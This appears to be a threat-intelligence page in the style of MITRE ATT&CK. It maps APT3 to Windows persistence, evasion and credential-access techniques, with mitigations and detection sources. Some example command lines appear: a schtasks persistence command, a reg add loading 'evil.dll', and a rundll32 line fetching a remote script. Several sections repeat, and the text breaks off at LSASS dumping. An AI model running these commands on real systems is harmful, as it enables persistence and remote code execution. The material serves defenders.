The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Windows Registry: Windows Registry Key Creation
Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
APT3 has been known to side load DLLs with a valid version of Chrome with one of their tools.
Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.
Application Developer Guidance
When possible, include hash values in manifest files to help prevent side-loading of malicious libraries.
Update Software
Update software regularly to include patches that fix DLL side-loading vulnerabilities.
Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
Monitoring the following activities in your Organisation can help you detect this technique.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
An APT3 downloader creates persistence by creating the following scheduled task: schtasks /create /tn "mysc" /tr C:\Users\Public\test.exe /sc ONLOGON /ru "System".
Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated at utility could also be abused by adversaries (ex: At (Windows)), though at.exe can not access tasks created with schtasks or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).
Audit
Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges.
Operating System Configuration
Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled.
Privileged Account Management
Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority.
User Account Management
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems.
Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. Several events will then be logged on scheduled task activity, including:
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks.
Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Scheduled Job: Scheduled Job Creation
Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)
APT3 leverages valid accounts after gaining credentials for use within the victim domain.
Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.
Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.
Multi-factor Authentication
Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs.
Privileged Account Management
Audit domain account permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. Limit credential overlap across systems to prevent access if account credentials are obtained.
User Training
Applications may send push notifications to verify a login as a form of multi-factor authentication (MFA). Train users to only accept valid push notifications and to report suspicious push notifications.
Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).
Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.
Monitoring the following activities in your Organisation can help you detect this technique.
Logon Session: Logon Session Creation
Initial construction of a new user logon session (ex: Windows EID 4624, /var/log/utmp, or /var/log/wmtp)
Logon Session: Logon Session Metadata
Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it
User Account: User Account Authentication
An attempt by a user to gain access to a network or computing resource, often by providing credentials (ex: Windows EID 4625 or /var/log/auth.log)
APT3 has a tool that creates a new service for persistence.
Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg.
Adversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.
An adversary may also incorporate Masquerading by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.
Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.
Audit
Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them.
User Account Management
Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.
Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.
Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.
Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045). New, benign services may be created during installation of new software.
Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Process: OS API Execution
Operating system function/method calls executed by a process
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Service: Service Creation
Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)
Service: Service Modification
Changes made to a service/daemon, such as changes to name, description, and/or start type (ex: Windows EID 7040 or /var/log daemon logs)
Windows Registry: Windows Registry Key Creation
Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
APT3 replaces the Sticky Keys binary C:\Windows\System32\sethc.exe for persistence.
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen.
Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.
For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.
Other accessibility features exist that may also be leveraged in a similar fashion:
Execution Prevention
Adversaries can replace accessibility features binaries with alternate binaries to execute this technique. Identify and block potentially malicious software executed through accessibility features functionality by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.
Limit Access to Resource Over Network
If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network.
Operating System Configuration
To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later.
Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
APT3 places scripts in the startup folder for persistence.
Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following run keys are created by default on Windows systems:
Run keys may exist under multiple hives. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"
The following Registry keys can be used to set startup folder items for persistence:
The following Registry keys can control automatic startup of services during boot:
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Windows Registry: Windows Registry Key Creation
Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
APT3 has been known to side load DLLs with a valid version of Chrome with one of their tools.
Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.
Application Developer Guidance
When possible, include hash values in manifest files to help prevent side-loading of malicious libraries.
Update Software
Update software regularly to include patches that fix DLL side-loading vulnerabilities.
Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
Monitoring the following activities in your Organisation can help you detect this technique.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
<p>APT3 has been known to pack their tools.</p>
Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.
Antivirus/Antimalware
Employ heuristic-based malware detection. Ensure updated virus definitions and create custom signatures for observed malware.
Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.
Monitoring the following activities in your Organisation can help you detect this technique.
File: File Metadata
Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
APT3 has been known to remove indicators of compromise from tools.
Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.
A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.
APT3 has a tool that can delete files.
Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Deletion
Removal of a file (ex: Sysmon EID 23)
APT3 leverages valid accounts after gaining credentials for use within the victim domain.
Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.
Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.
Multi-factor Authentication
Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs.
Privileged Account Management
Audit domain account permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. Limit credential overlap across systems to prevent access if account credentials are obtained.
User Training
Applications may send push notifications to verify a login as a form of multi-factor authentication (MFA). Train users to only accept valid push notifications and to report suspicious push notifications.
Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).
Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.
Monitoring the following activities in your Organisation can help you detect this technique.
Logon Session: Logon Session Creation
Initial construction of a new user logon session (ex: Windows EID 4624, /var/log/utmp, or /var/log/wmtp)
Logon Session: Logon Session Metadata
Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it
User Account: User Account Authentication
An attempt by a user to gain access to a network or computing resource, often by providing credentials (ex: Windows EID 4625 or /var/log/auth.log)
APT3 has a tool that can run DLLs.
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {{DLLname, DLLfunction}}).
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.
Exploit Protection
Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.
Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.
Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Metadata
Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
APT3 has been known to use -WindowStyle Hidden to conceal PowerShell windows.
Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.
On Windows, there are a variety of features in scripting languages in Windows, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.
Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.
Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.
Execution Prevention
Limit or restrict program execution using anti-virus software. On MacOS, allowlist programs that are allowed to have the plist tag. All other programs should be considered suspicious.
Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Script: Script Execution
Launching a list of commands through a script file (ex: Windows EID 4104)
APT3 has been known to side load DLLs with a valid version of Chrome with one of their tools.
Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.
Application Developer Guidance
When possible, include hash values in manifest files to help prevent side-loading of malicious libraries.
Update Software
Update software regularly to include patches that fix DLL side-loading vulnerabilities.
Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
Monitoring the following activities in your Organisation can help you detect this technique.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
APT3 has used a tool to dump credentials by injecting itself into lsass.exe and triggering with the argument "dig."
Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.
As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
For example, on the target host use procdump:
Locally, mimikatz can be run using:
Built-in Windows tools such as comsvcs.dll can also be used:
